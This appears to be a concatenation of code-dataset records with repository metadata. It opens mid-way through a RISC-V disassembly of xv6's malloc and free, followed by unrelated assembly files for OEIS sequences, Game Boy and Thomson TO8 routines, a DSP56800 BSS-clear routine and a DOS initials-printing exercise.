7f4: ff053703 ld a4,-16(a0)
7f8: e398 sd a4,0(a5)
7fa: a099 j 840 <free+0x7a>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
7fc: 6398 ld a4,0(a5)
7fe: 00e7e463 bltu a5,a4,806 <free+0x40>
802: 00e6ea63 bltu a3,a4,816 <free+0x50>
{
806: 87ba mv a5,a4
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
808: fed7fae3 bgeu a5,a3,7fc <free+0x36>
80c: 6398 ld a4,0(a5)
80e: 00e6e463 bltu a3,a4,816 <free+0x50>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
812: fee7eae3 bltu a5,a4,806 <free+0x40>
if(bp + bp->s.size == p->s.ptr){
816: ff852583 lw a1,-8(a0)
81a: 6390 ld a2,0(a5)
81c: 02059713 slli a4,a1,0x20
820: 9301 srli a4,a4,0x20
822: 0712 slli a4,a4,0x4
824: 9736 add a4,a4,a3
826: fae60ae3 beq a2,a4,7da <free+0x14>
bp->s.ptr = p->s.ptr;
82a: fec53823 sd a2,-16(a0)
if(p + p->s.size == bp){
82e: 4790 lw a2,8(a5)
830: 02061713 slli a4,a2,0x20
834: 9301 srli a4,a4,0x20
836: 0712 slli a4,a4,0x4
838: 973e add a4,a4,a5
83a: fae689e3 beq a3,a4,7ec <free+0x26>
} else
p->s.ptr = bp;
83e: e394 sd a3,0(a5)
freep = p;
840: 00000717 auipc a4,0x0
844: 1cf73423 sd a5,456(a4) # a08 <freep>
}
848: 6422 ld s0,8(sp)
84a: 0141 addi sp,sp,16
84c: 8082 ret
000000000000084e <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
84e: 7139 addi sp,sp,-64
850: fc06 sd ra,56(sp)
852: f822 sd s0,48(sp)
854: f426 sd s1,40(sp)
856: f04a sd s2,32(sp)
858: ec4e sd s3,24(sp)
85a: e852 sd s4,16(sp)
85c: e456 sd s5,8(sp)
85e: e05a sd s6,0(sp)
860: 0080 addi s0,sp,64
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
862: 02051493 slli s1,a0,0x20
866: 9081 srli s1,s1,0x20
868: 04bd addi s1,s1,15
86a: 8091 srli s1,s1,0x4
86c: 0014899b addiw s3,s1,1
870: 0485 addi s1,s1,1
if((prevp = freep) == 0){
872: 00000517 auipc a0,0x0
876: 19653503 ld a0,406(a0) # a08 <freep>
87a: c515 beqz a0,8a6 <malloc+0x58>
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
87c: 611c ld a5,0(a0)
if(p->s.size >= nunits){
87e: 4798 lw a4,8(a5)
880: 02977f63 bgeu a4,s1,8be <malloc+0x70>
884: 8a4e mv s4,s3
886: 0009871b sext.w a4,s3
88a: 6685 lui a3,0x1
88c: 00d77363 bgeu a4,a3,892 <malloc+0x44>
890: 6a05 lui s4,0x1
892: 000a0b1b sext.w s6,s4
p = sbrk(nu * sizeof(Header));
896: 004a1a1b slliw s4,s4,0x4
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
89a: 00000917 auipc s2,0x0
89e: 16e90913 addi s2,s2,366 # a08 <freep>
if(p == (char*)-1)
8a2: 5afd li s5,-1
8a4: a88d j 916 <malloc+0xc8>
base.s.ptr = freep = prevp = &base;
8a6: 00000797 auipc a5,0x0
8aa: 16a78793 addi a5,a5,362 # a10 <base>
8ae: 00000717 auipc a4,0x0
8b2: 14f73d23 sd a5,346(a4) # a08 <freep>
8b6: e39c sd a5,0(a5)
base.s.size = 0;
8b8: 0007a423 sw zero,8(a5)
if(p->s.size >= nunits){
8bc: b7e1 j 884 <malloc+0x36>
if(p->s.size == nunits)
8be: 02e48b63 beq s1,a4,8f4 <malloc+0xa6>
p->s.size -= nunits;
8c2: 4137073b subw a4,a4,s3
8c6: c798 sw a4,8(a5)
p += p->s.size;
8c8: 1702 slli a4,a4,0x20
8ca: 9301 srli a4,a4,0x20
8cc: 0712 slli a4,a4,0x4
8ce: 97ba add a5,a5,a4
p->s.size = nunits;
8d0: 0137a423 sw s3,8(a5)
freep = prevp;
8d4: 00000717 auipc a4,0x0
8d8: 12a73a23 sd a0,308(a4) # a08 <freep>
return (void*)(p + 1);
8dc: 01078513 addi a0,a5,16
if((p = morecore(nunits)) == 0)
return 0;
}
}
8e0: 70e2 ld ra,56(sp)
8e2: 7442 ld s0,48(sp)
8e4: 74a2 ld s1,40(sp)
8e6: 7902 ld s2,32(sp)
8e8: 69e2 ld s3,24(sp)
8ea: 6a42 ld s4,16(sp)
8ec: 6aa2 ld s5,8(sp)
8ee: 6b02 ld s6,0(sp)
8f0: 6121 addi sp,sp,64
8f2: 8082 ret
prevp->s.ptr = p->s.ptr;
8f4: 6398 ld a4,0(a5)
8f6: e118 sd a4,0(a0)
8f8: bff1 j 8d4 <malloc+0x86>
hp->s.size = nu;
8fa: 01652423 sw s6,8(a0)
free((void*)(hp + 1));
8fe: 0541 addi a0,a0,16
900: 00000097 auipc ra,0x0
904: ec6080e7 jalr -314(ra) # 7c6 <free>
return freep;
908: 00093503 ld a0,0(s2)
if((p = morecore(nunits)) == 0)
90c: d971 beqz a0,8e0 <malloc+0x92>
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
90e: 611c ld a5,0(a0)
if(p->s.size >= nunits){
910: 4798 lw a4,8(a5)
912: fa9776e3 bgeu a4,s1,8be <malloc+0x70>
if(p == freep)
916: 00093703 ld a4,0(s2)
91a: 853e mv a0,a5
91c: fef719e3 bne a4,a5,90e <malloc+0xc0>
p = sbrk(nu * sizeof(Header));
920: 8552 mv a0,s4
922: 00000097 auipc ra,0x0
926: b7e080e7 jalr -1154(ra) # 4a0 <sbrk>
if(p == (char*)-1)
92a: fd5518e3 bne a0,s5,8fa <malloc+0xac>
return 0;
92e: 4501 li a0,0
930: bf45 j 8e0 <malloc+0x92>
| 30.545392 | 62 | 0.465209 |
e935410b0ba36d9a040aa609f365f11dafebf1cf | 486 | asm | Assembly | programs/oeis/223/A223544.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/223/A223544.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/223/A223544.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A223544: Triangle T(n,k), 0 < k <= n, T(n,1) = n - 1, T(n,k) = T(n,k-1) + n; read by rows.
; 0,1,3,2,5,8,3,7,11,15,4,9,14,19,24,5,11,17,23,29,35,6,13,20,27,34,41,48,7,15,23,31,39,47,55,63,8,17,26,35,44,53,62,71,80,9,19,29,39,49,59,69,79,89,99,10,21,32,43,54,65,76,87,98,109,120,11,23,35,47,59,71,83,95,107,119,131,143,12,25,38,51,64,77,90,103,116,129,142,155,168,13,27,41,55,69,83,97,111,125
lpb $0
mov $1,$0
sub $0,1
add $2,1
mul $1,$2
add $1,$0
trn $0,$2
lpe
mov $0,$1
| 37.384615 | 300 | 0.58642 |
297d18a688f92546773534627388620faf1a51e5 | 1,810 | asm | Assembly | SystemRoutines.asm | AYCEdemo/LostInTranslation | 5fab3b34a9f8e7893d3bbde3dc0b119e5d86614d | [
"Unlicense"
] | null | null | null | SystemRoutines.asm | AYCEdemo/LostInTranslation | 5fab3b34a9f8e7893d3bbde3dc0b119e5d86614d | [
"Unlicense"
] | null | null | null | SystemRoutines.asm | AYCEdemo/LostInTranslation | 5fab3b34a9f8e7893d3bbde3dc0b119e5d86614d | [
"Unlicense"
] | null | null | null | ; ===============
; System routines
; ===============
; ================================================================
; Check joypad input
; ================================================================
CheckInput:
ld a,P1F_5
ld [rP1],a
ld a,[rP1]
ld a,[rP1]
cpl
and a,$f
swap a
ld b,a
ld a,P1F_4
ld [rP1],a
ld a,[rP1]
ld a,[rP1]
ld a,[rP1]
ld a,[rP1]
ld a,[rP1]
ld a,[rP1]
cpl
and a,$f
or a,b
ld b,a
ld a,[sys_btnHold]
xor a,b
and a,b
ld [sys_btnPress],a
ld a,b
ld [sys_btnHold],a
ld a,P1F_5|P1F_4
ld [rP1],a
ret
; ================================================================
; Draw hexadecimal number A at HL
; ================================================================
DrawHex:
push af
swap a
call .loop1
pop af
.loop1
and $f
cp $a
jr c,.loop2
add a,$7
.loop2
add a,$10
push af
ldh a,[rSTAT]
and 2
jr nz,@-4
pop af
ld [hl+],a
ret
DrawHexDigit:
and $f
cp $a
jr c,.carry
add a,$7
.carry
add a,$10
push af
ldh a,[rSTAT]
and 2
jr nz,@-4
pop af
ld [hl+],a
ret
; ================================================================
; Draw binary number A at HL
; ================================================================
DrawBin:
ld c,a
ld a,l
add 7
ld l,a
jr nc,.nocarry
inc h
.nocarry
ld b,8
ld a,c
.loop
rra
jr c,.one
ld [hl],"0"-32
.chkloop
dec hl
dec b
jr nz,.loop
ret
.one
ld [hl],"1"-32
jr .chkloop
; ================================================================
; Load a screen
; ================================================================
LoadScreen:
ld de,_SCRN0
ld bc,_SCRN1-_SCRN0
.loop
ld a,[hl+]
ld [de],a
inc de
dec bc
ld a,b
or c
jr nz,.loop
ret
| 14.596774 | 68 | 0.369061 |
e802081bd82ec8938f3f683677513d1846629c45 | 730 | asm | Assembly | oeis/042/A042510.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/042/A042510.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/042/A042510.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A042510: Numerators of continued fraction convergents to sqrt(783).
; Submitted by Christian Krause
; 27,28,1539,1567,86157,87724,4823253,4910977,270016011,274926988,15116073363,15391000351,846230092317,861621092668,47373769096389,48235390189057,2652084839305467,2700320229494524,148469377232009763,151169697461504287,8311633040153241261,8462802737614745548,465302980871349500853,473765783608964246401,26048655295755418806507,26522421079364383052908,1458259393581432103663539,1484781814660796486716447,81636477385264442386351677,83121259199925238873068124,4570184474181227341532030373
add $0,1
mov $3,1
lpb $0
sub $0,1
add $2,$3
mov $3,$1
mov $1,$2
dif $2,9
mul $2,9
dif $2,6
mul $2,3
add $3,$2
lpe
mov $0,$3
| 38.421053 | 484 | 0.823288 |
95fb580fae85d351a137620020216ff52b510550 | 1,867 | asm | Assembly | programs/oeis/192/A192827.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/192/A192827.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/192/A192827.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A192827: Molecular topological indices of the gear graphs
; 11,88,231,440,715,1056,1463,1936,2475,3080,3751,4488,5291,6160,7095,8096,9163,10296,11495,12760,14091,15488,16951,18480,20075,21736,23463,25256,27115,29040,31031,33088,35211,37400,39655,41976,44363,46816,49335,51920,54571,57288,60071,62920,65835,68816,71863,74976,78155,81400,84711,88088,91531,95040,98615,102256,105963,109736,113575,117480,121451,125488,129591,133760,137995,142296,146663,151096,155595,160160,164791,169488,174251,179080,183975,188936,193963,199056,204215,209440,214731,220088,225511,231000,236555,242176,247863,253616,259435,265320,271271,277288,283371,289520,295735,302016,308363,314776,321255,327800,334411,341088,347831,354640,361515,368456,375463,382536,389675,396880,404151,411488,418891,426360,433895,441496,449163,456896,464695,472560,480491,488488,496551,504680,512875,521136,529463,537856,546315,554840,563431,572088,580811,589600,598455,607376,616363,625416,634535,643720,652971,662288,671671,681120,690635,700216,709863,719576,729355,739200,749111,759088,769131,779240,789415,799656,809963,820336,830775,841280,851851,862488,873191,883960,894795,905696,916663,927696,938795,949960,961191,972488,983851,995280,1006775,1018336,1029963,1041656,1053415,1065240,1077131,1089088,1101111,1113200,1125355,1137576,1149863,1162216,1174635,1187120,1199671,1212288,1224971,1237720,1250535,1263416,1276363,1289376,1302455,1315600,1328811,1342088,1355431,1368840,1382315,1395856,1409463,1423136,1436875,1450680,1464551,1478488,1492491,1506560,1520695,1534896,1549163,1563496,1577895,1592360,1606891,1621488,1636151,1650880,1665675,1680536,1695463,1710456,1725515,1740640,1755831,1771088,1786411,1801800,1817255,1832776,1848363,1864016,1879735,1895520,1911371,1927288,1943271,1959320,1975435,1991616,2007863,2024176,2040555,2057000
mul $0,6
add $0,4
pow $0,2
mov $1,$0
div $1,12
mul $1,11
| 186.7 | 1,748 | 0.845206 |
afbaf3f09ae7500825e61ef42f8c80097f4a8e64 | 160 | asm | Assembly | Assembler/AssemblyCode/SUB.asm | KPU-RISC/KPU | 9f85c322e1b8489eef31f0696799e0c6c7273c0e | [
"MIT"
] | 8 | 2017-04-16T16:53:03.000Z | 2021-09-14T22:29:28.000Z | Assembler/AssemblyCode/SUB.asm | KPU-RISC/KPU | 9f85c322e1b8489eef31f0696799e0c6c7273c0e | [
"MIT"
] | null | null | null | Assembler/AssemblyCode/SUB.asm | KPU-RISC/KPU | 9f85c322e1b8489eef31f0696799e0c6c7273c0e | [
"MIT"
] | null | null | null | ; Load the initial values into register D and E
MOV D, 5
MOV E, 3
; Perform a subtraction
SUB D, E
MOV F, D
; Write register F to the Output Port
OUTB F
HLT | 12.307692 | 47 | 0.70625 |
97004bad822e94bb766a8b887fb88dadf400faa0 | 483 | asm | Assembly | programs/oeis/146/A146078.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/146/A146078.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/146/A146078.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A146078: Expansion of 1/(1-x*(1-9*x)).
; 1,1,-8,-17,55,208,-287,-2159,424,19855,16039,-162656,-307007,1156897,3919960,-6492113,-41771753,16657264,392603041,242687665,-3290739704,-5474928689,24141728647,73416086848,-143859470975,-804604252607,490130986168,7731569259631,3320390384119,-66263732952560,-96147246409631,500226350163409,1365551567850088,-3136485583620593
mov $1,2
mov $2,2
lpb $0,1
sub $0,1
mul $1,9
sub $2,$1
add $1,$2
lpe
sub $1,2
div $1,18
mul $1,9
add $1,1
| 30.1875 | 326 | 0.743271 |
e8f9bd1d766f09bd37a83a6f94993701d8e8f93b | 381 | asm | Assembly | heartbeep.asm | Catobat/z3randomizer | e82f01ae2f81cfcf2ddd334a93df4a8f953878fb | [
"MIT"
] | 31 | 2018-05-03T06:43:23.000Z | 2021-07-16T13:17:01.000Z | heartbeep.asm | Catobat/z3randomizer | e82f01ae2f81cfcf2ddd334a93df4a8f953878fb | [
"MIT"
] | 26 | 2019-02-01T05:38:23.000Z | 2022-01-20T21:25:39.000Z | heartbeep.asm | Catobat/z3randomizer | e82f01ae2f81cfcf2ddd334a93df4a8f953878fb | [
"MIT"
] | 32 | 2018-12-18T13:54:33.000Z | 2022-01-25T23:38:48.000Z | ;================================================================================
; Heart Beep Logic
;================================================================================
BeepLogic:
LDA.l HeartBeep : BEQ +
STA $04CA
LDA.b #$2B : STA $012E
RTL
+
LDA.b #$FF : STA $04CA
RTL
;================================================================================ | 31.75 | 81 | 0.204724 |
ac48f2dbc0d08e49222703d95891785593b18a3f | 4,201 | asm | Assembly | Engine/Irq/IrqPsgRaster.asm | wide-dot/thomson-to8-game-engine | f305368ff28fba6e6bd03d0138a36ff5ea67e925 | [
"Apache-2.0"
] | 11 | 2021-09-07T18:45:06.000Z | 2022-02-15T06:36:19.000Z | Engine/Irq/IrqPsgRaster.asm | dougmasten/thomson-to8-game-engine | b1f29e3b650e2296a5058570173e1c9068bccbe4 | [
"Apache-2.0"
] | null | null | null | Engine/Irq/IrqPsgRaster.asm | dougmasten/thomson-to8-game-engine | b1f29e3b650e2296a5058570173e1c9068bccbe4 | [
"Apache-2.0"
] | 1 | 2021-11-22T08:43:52.000Z | 2021-11-22T08:43:52.000Z | * ---------------------------------------------------------------------------
* IrqPsgRaster/IrqPsg
* ------
* IRQ Subroutine to play sound with SN76489 and render some Raster lines
*
* input REG : [dp] with value E7 (from Monitor ROM)
* reset REG : none
*
* IrqOn
* reset REG : [a]
*
* IrqOff
* reset REG : [a]
*
* IrqSync
* input REG : [a] screen line (0-199)
* [x] timer value
* reset REG : [d]
*
* IrqSync
* reset REG : [d]
* ---------------------------------------------------------------------------
irq_routine equ $6027
irq_timer_ctrl equ $E7C5
irq_timer equ $E7C6
irq_one_frame equ 312*64-1 ; one frame timer (lines*cycles_per_lines-1), timer launch at -1
Irq_Raster_Page fdb $00
Irq_Raster_Start fdb $0000
Irq_Raster_End fdb $0000
IrqOn
lda $6019
ora #$20
sta $6019 ; STATUS register
andcc #$EF ; tell 6809 to activate irq
rts
IrqOff
lda $6019
anda #$DF
sta $6019 ; STATUS register
orcc #$10 ; tell 6809 to activate irq
rts
IrqSync
ldb #$42
stb irq_timer_ctrl
ldb #8 ; ligne * 64 (cycles par ligne) / 8 (nb cycles boucle tempo)
mul
tfr d,y
leay -32,y ; manual adjustment
IrqSync_1
tst $E7E7 ;
bmi IrqSync_1 ; while spot is in a visible screen line
IrqSync_2
tst $E7E7 ;
bpl IrqSync_2 ; while spot is not in a visible screen line
IrqSync_3
leay -1,y ;
bne IrqSync_3 ; wait until desired line
stx irq_timer ; spot is at the end of desired line
rts
IrqPsg
_GetCartPageA
sta IrqPsg_end+1 ; backup data page
ldd Vint_runcount
addd #1
std Vint_runcount
jsr PSGFrame
* jsr PSGSFXFrame
IrqPsg_end
lda #$00
_SetCartPageA ; restore data page
jmp $E830 ; return to caller
IrqPsgRaster
_GetCartPageA
sta IrqPsgRaster_end+1 ; backup data page
lda Irq_Raster_Page
_SetCartPageA ; load Raster data page
ldx Irq_Raster_Start
lda #32
IrqPsgRaster_1
bita <$E7
beq IrqPsgRaster_1 ; while spot is not in a visible screen col
IrqPsgRaster_2
bita <$E7
bne IrqPsgRaster_2 ; while spot is in a visible screen col
mul ; tempo
mul ; tempo
nop
IrqPsgRaster_render
tfr a,b ; tempo
tfr a,b ; tempo
tfr a,b ; tempo
ldd 1,x
std >*+8
lda ,x
sta <$DB
ldd #$0000
stb <$DA
sta <$DA
leax 3,x
cmpx Irq_Raster_End
bne IrqPsgRaster_render
ldd Vint_runcount
addd #1
std Vint_runcount
jsr PSGFrame
* jsr PSGSFXFrame
IrqPsgRaster_end
lda #$00
_SetCartPageA ; restore data page
jmp $E830 ; return to caller
| 33.34127 | 114 | 0.377529 |
b59da97ad0ac8af06dfcb80569471210f9affa4e | 515 | asm | Assembly | programs/oeis/048/A048570.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/048/A048570.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/048/A048570.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A048570: Triangle T(n,k) = number of divisors of binomial(n,k).
; 1,1,1,1,2,1,1,2,2,1,1,3,4,3,1,1,2,4,4,2,1,1,4,4,6,4,4,1,1,2,4,4,4,4,2,1,1,4,6,8,8,8,6,4,1,1,3,9,12,12,12,12,9,3,1,1,4,6,16,16,18,16,16,6,4,1,1,2,4,8,16,16,16,16,8,4,2,1,1,6,8,12,12,24,24,24,12,12,8,6,1,1,2,8,8,8,12,24,24,12
seq $0,7318 ; Pascal's triangle read by rows: C(n,k) = binomial(n,k) = n!/(k!*(n-k)!), 0 <= k <= n.
seq $0,32741 ; a(0) = 0; for n > 0, a(n) = number of proper divisors of n (divisors of n which are less than n).
add $0,1
| 73.571429 | 225 | 0.582524 |
b2ecb4fa9204e436ef91cd5b77ce355ad494248b | 70 | asm | Assembly | text/maps/celadon_mansion_2f.asm | adhi-thirumala/EvoYellow | 6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c | [
"Unlicense"
] | 16 | 2018-08-28T21:47:01.000Z | 2022-02-20T20:29:59.000Z | text/maps/CeladonMansion2F.asm | JStar-debug2020/pokemon-rby-dx | c2fdd8145d96683addbd8d9075f946a68d1527a1 | [
"MIT"
] | 7 | 2020-07-16T10:48:52.000Z | 2021-01-28T18:32:02.000Z | text/maps/CeladonMansion2F.asm | JStar-debug2020/pokemon-rby-dx | c2fdd8145d96683addbd8d9075f946a68d1527a1 | [
"MIT"
] | 2 | 2021-03-28T18:33:43.000Z | 2021-05-06T13:12:09.000Z | _CeladonMansion2Text1::
text "GAME FREAK"
line "Meeting Room"
done
| 14 | 23 | 0.757143 |
8a253e3886ba952636cefae754447eec99547505 | 805 | asm | Assembly | oeis/253/A253442.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/253/A253442.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/253/A253442.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A253442: Expansion of x * (96 - 816*x) / ((1 - x) * (1 - 1442*x + x^2)) in powers of x.
; Submitted by Christian Krause
; 96,137712,198579888,286352060064,412919472031680,595429592317621776,858609059202538568592,1238113667940468298287168,1785359050561096083591526944,2574486512795432612070683565360,3712407766091963265509842109721456,5353289424218098233432580251534773472,7719439637314731560646515212871033624448,11131426603718418692354041504379778951679824,16051509443122322439642967202800428377288681040,23146265485555785239546466352396713340271326379136,33376898778661999193103564837188857836242875350032352
add $0,1
mov $2,1
mov $3,$0
mul $3,4
mov $4,1
lpb $3
add $1,$4
mov $4,$2
add $4,$2
add $4,$2
add $1,$4
add $2,$1
mul $1,2
sub $3,1
lpe
mov $0,$4
sub $0,573
div $0,6
add $0,96
| 33.541667 | 490 | 0.793789 |
1f1b94b50a1050fd5b57d44ae35092a4c9d3c5da | 57 | asm | Assembly | tests/expect/tests/call-ret.asm | brenden7158/v86 | c9e274dc6e8cc619d1b36d57a69299aee6a45a91 | [
"BSD-2-Clause"
] | 12,700 | 2015-01-04T15:03:42.000Z | 2022-03-31T06:43:06.000Z | tests/expect/tests/call-ret.asm | brenden7158/v86 | c9e274dc6e8cc619d1b36d57a69299aee6a45a91 | [
"BSD-2-Clause"
] | 566 | 2015-01-01T18:16:40.000Z | 2022-03-31T19:59:10.000Z | tests/expect/tests/call-ret.asm | brenden7158/v86 | c9e274dc6e8cc619d1b36d57a69299aee6a45a91 | [
"BSD-2-Clause"
] | 1,182 | 2015-01-05T09:20:48.000Z | 2022-03-31T12:16:52.000Z | BITS 32
call test
hlt
test:
inc eax
ret
| 7.125 | 13 | 0.526316 |
0822c900b523681d7a7e1011323f84f14d27eff4 | 1,880 | asm | Assembly | src/libYARP_dev/56f807/cotroller_dc/Support/DSP56800_zeroBSS.asm | robotology-legacy/yarp1 | 21434f5b776edea201b39a9644552dca59339dbc | [
"Artistic-1.0-Perl"
] | null | null | null | src/libYARP_dev/56f807/cotroller_dc/Support/DSP56800_zeroBSS.asm | robotology-legacy/yarp1 | 21434f5b776edea201b39a9644552dca59339dbc | [
"Artistic-1.0-Perl"
] | null | null | null | src/libYARP_dev/56f807/cotroller_dc/Support/DSP56800_zeroBSS.asm | robotology-legacy/yarp1 | 21434f5b776edea201b39a9644552dca59339dbc | [
"Artistic-1.0-Perl"
] | null | null | null |
; metrowerks sample code
; define which clearBSS routine to assemble
; see alternative routine below
; use the software loop routine
; if you have more than 8191 elements to zero
; use the hardware loop routine
; if you have less than 8191 elements to zero
; 56800 loop LC register is 13-bits
; to handle the general case
; software loop is DSP56800 stationery default for __bssClear
DEFINE useSoftwareLoop ''
section startup
; these variables are defined in the linker command file (LCF)
XREF F_bss_size
XREF F_bss_addr
org p:
GLOBAL F__bssClear
; SUBROUTINE "F__bssClear",F__bssClear,F__bssClearEND-F__bssClear
F__bssClear:
; if useSoftwareLoop is defined, assemble this code
IF @DEF('useSoftwareLoop')
; clear bss with software loop
move #F_bss_size,y0 ; set count
tstw y0 ; test count
beq end_bssClear ; if zero count, then exit
move #0,x0 ; set x0 to zero
move #F_bss_addr,r1 ; set dest address
nop
loop_bssClear:
move x0,x:(r1)+ ; stash x0 value at address r1
; and increment r1
decw y0 ; decrement count and test
bne loop_bssClear ; if not zero, continue loop
end_bssClear:
ELSE ; assemble the following code
; clear bss with hardware loop
move #0,x0 ; set x0 to zero
move #F_bss_size,r2 ; set bss size
move #F_bss_addr,r1 ; dest address -- bss data start
do r2,end_bss_clear ; do for r2 times
move x0,x:(r1)+ ; stash zero at address
nop
end_bss_clear:
ENDIF
rts
F__bssClearEND:
endsec
end
| 16.936937 | 70 | 0.578191 |
0830d519eb3a27dc1b872e84cd17fc899924aaf7 | 1,040 | asm | Assembly | CSE341-BRACU-Microprocessors/Assignment-2(Lab-3)/task6.asm | AIM3r4j/BRACU | 8f3973ca8226a496914f825a2d295d25dd5b4a4d | [
"MIT"
] | null | null | null | CSE341-BRACU-Microprocessors/Assignment-2(Lab-3)/task6.asm | AIM3r4j/BRACU | 8f3973ca8226a496914f825a2d295d25dd5b4a4d | [
"MIT"
] | null | null | null | CSE341-BRACU-Microprocessors/Assignment-2(Lab-3)/task6.asm | AIM3r4j/BRACU | 8f3973ca8226a496914f825a2d295d25dd5b4a4d | [
"MIT"
] | null | null | null | .MODEL SMALL
.STACK 100H
.DATA
;variables
s db "ENTER THREE INITIALS: $"
.CODE
MAIN PROC
;initialize DS
MOV AX,@DATA
MOV DS,AX
; enter your code here
;Printing the prompt
lea dx, s
mov ah, 9
int 21h
;First intial input
mov ah,1
int 21h
mov bh , al
;Second intial input
mov ah,1
int 21h
mov bl , al
;Third intial input
mov ah,1
int 21h
mov cl, al
;Printing the initials in new lines
mov dl, 0ah
mov ah , 2
int 21h
mov dL,0dh
int 21h
mov dL,0ah
int 21h
mov dl,bh
mov ah,2
int 21h
mov dl, 0ah
mov ah , 2
int 21h
mov dL,0dh
int 21h
mov dL,0ah
int 21h
mov dl,bl
mov ah,2
int 21h
mov dl, 0ah
mov ah , 2
int 21h
mov dL,0dh
int 21h
mov dL,0ah
int 21h
mov dl,cl
mov ah,2
int 21h
;exit to DOS
MOV AX,4C00H
INT 21H
MAIN ENDP
END MAIN
| 11.182796 | 39 | 0.500962 |
d56f8588a5f49812e30427e635aea6209b224733 | 1,221 | asm | Assembly | programs/oeis/265/A265046.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/265/A265046.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/265/A265046.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A265046: Coordination sequence for a 4.6.6 point in the 3-transitive tiling {4.6.6, 6.6.6, 6.6.6.6} of the plane by squares and dominoes (hexagons).
; 1,3,5,8,13,18,23,28,32,36,40,44,48,52,56,60,64,68,72,76,80,84,88,92,96,100,104,108,112,116,120,124,128,132,136,140,144,148,152,156,160,164,168,172,176,180,184,188,192,196,200,204,208,212,216,220,224,228,232,236,240,244,248,252,256,260,264,268,272,276,280,284,288,292,296,300,304,308,312,316,320,324,328,332,336,340,344,348,352,356,360,364,368,372,376,380,384,388,392,396,400,404,408,412,416,420,424,428,432,436,440,444,448,452,456,460,464,468,472,476,480,484,488,492,496,500,504,508,512,516,520,524,528,532,536,540,544,548,552,556,560,564,568,572,576,580,584,588,592,596,600,604,608,612,616,620,624,628,632,636,640,644,648,652,656,660,664,668,672,676,680,684,688,692,696,700,704,708,712,716,720,724,728,732,736,740,744,748,752,756,760,764,768,772,776,780,784,788,792,796,800,804,808,812,816,820,824,828,832,836,840,844,848,852,856,860,864,868,872,876,880,884,888,892,896,900,904,908,912,916,920,924,928,932,936,940,944,948,952,956,960,964,968,972,976,980,984,988,992,996
mov $3,$0
mul $0,2
mov $1,$0
sub $1,1
mov $2,7
add $2,$3
trn $2,$0
trn $1,$2
add $1,$0
add $1,1
| 87.214286 | 972 | 0.720721 |
